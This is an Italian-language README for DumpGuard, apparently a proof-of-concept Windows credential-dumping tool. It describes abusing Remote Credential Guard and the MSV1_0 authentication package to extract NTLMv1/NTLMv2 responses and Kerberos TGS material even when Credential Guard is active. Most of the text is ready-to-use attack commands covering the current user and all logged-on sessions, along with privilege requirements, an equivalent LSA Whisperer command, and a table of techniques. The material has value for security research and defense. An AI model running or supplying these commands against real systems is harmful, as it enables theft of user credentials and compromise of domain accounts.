
Strumento Proof-of-Concept per l'estrazione di materiale credenziale da sessioni protette su sistemi Windows moderni.

DumpGuard è uno strumento di credential dumping e ricerca di protocolli per sistemi Windows moderni. Abusa del protocollo Remote Credential Guard per recuperare materiale di credenziali anche quando Credential Guard è attivo, e include anche un percorso per il pacchetto di autenticazione Microsoft v1 per l'estrazione di NTLM orientata alle sessioni.
Le funzionalità attuali includono:
È possibile scaricare copie precompilate dalla sezione delle release di questo repository.
Disclaimer: Questo strumento è fornito esclusivamente per scopi didattici e di test legittimi. L'autore di questo repository non approva né supporta alcun tipo di uso improprio e non si assume alcuna responsabilità per danni o conseguenze legali derivanti dall'utilizzo di questo strumento.
La tabella seguente riassume le tecniche attualmente implementate.
DumpGuard utilizza un modello comando più bersaglio.
comando seleziona la tecnica di estrazione.bersaglio seleziona se operare sulla sessione corrente o enumerare le sessioni.Comandi supportati:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10Bersagli supportati:
/target:self/target:allParametri comuni di Remote Credential Guard:
/domain:<DOMINIO>/username:<NOMEACCOUNT>/password:<PASSWORD>/spn:<SPN>Parametri per Kerberos TGS:
/tgsdomain:<DOMINIO>/tgsspn:<SPN>Se /spn viene omesso per un account computer, DumpGuard utilizza di default HOST/<nomecomputer>.
Per scaricare il materiale di credenziali per l'utente corrente da un contesto non privilegiato, DumpGuard si autentica a un account con SPN usando Remote Credential Guard, quindi emette richieste successive sul contesto di sicurezza stabilito.
Questo funziona indipendentemente dallo stato di Credential Guard, ma richiede le credenziali per un account con SPN.
Requisiti di privilegio: Nessuno.
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMINIO> /username:<NOMEACCOUNT> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMINIO> /username:<NOMEACCOUNT> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMINIO> /username:<NOMEACCOUNT> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMINIO>] /tgsspn:<servizio/host>
Se /tgsdomain viene omesso, viene utilizzato di default il valore /domain di Remote Credential Guard.
Per scaricare il materiale di credenziali per tutti gli utenti attualmente accessibili da un contesto privilegiato, DumpGuard impersona i token dai processi in esecuzione, si autentica a un account con SPN usando Remote Credential Guard, quindi emette richieste successive sul contesto di sicurezza stabilito.
Questo funziona indipendentemente dallo stato di Credential Guard, ma richiede le credenziali per un account con SPN.
Requisiti di privilegio: SYSTEM o Amministratore (richiede SeImpersonatePrivilege).
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMINIO> /username:<NOMEACCOUNT> /password:<PASSWORD> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMINIO> /username:<NOMEACCOUNT> /password:<PASSWORD> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMINIO> /username:<NOMEACCOUNT> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMINIO>] /tgsspn:<servizio/host>
Se /tgsdomain viene omesso, viene utilizzato di default il valore /domain di Remote Credential Guard.
Per scaricare le risposte NTLM per gli utenti attualmente autenticati da un contesto SYSTEM privilegiato, DumpGuard interagisce direttamente con l'SSP NTLM e richiede risposte challenge per ogni sessione di accesso scoperta.
Questo funziona solo alle seguenti condizioni:
Requisiti di privilegio: SYSTEM (richiede SeTcbPrivilege).
DumpGuard.exe /command:msv10
Questo attacco può essere eseguito anche utilizzando LSA Whisperer con il seguente comando:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {id sessione} --challenge {challenge ai client} [flags...]
Ho fatto reverse engineering e ricreato le interfacce esposte da Credential Guard (LsaIso.exe) e le ho incluse in questo repository per chiunque sia interessato a ulteriori ricerche.
Ad ottobre 2025, sono implementate le seguenti interfacce:
Grazie a SpecterOps per aver supportato questa ricerca e ai miei colleghi che hanno contribuito al suo sviluppo.
| Tecnica | Comando | Richiede SYSTEM | Richiede Account SPN | Può scaricare Credential Guard |
|---|
| Estrarre NTLMv1 tramite Remote Credential Guard | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| Estrarre NTLMv2 tramite Remote Credential Guard | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| Estrarre TGS Kerberos tramite Remote Credential Guard | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| Estrarre NTLMv1 tramite pacchetto di autenticazione Microsoft v1 | msv10 | ✅ | ❌ | ❌ |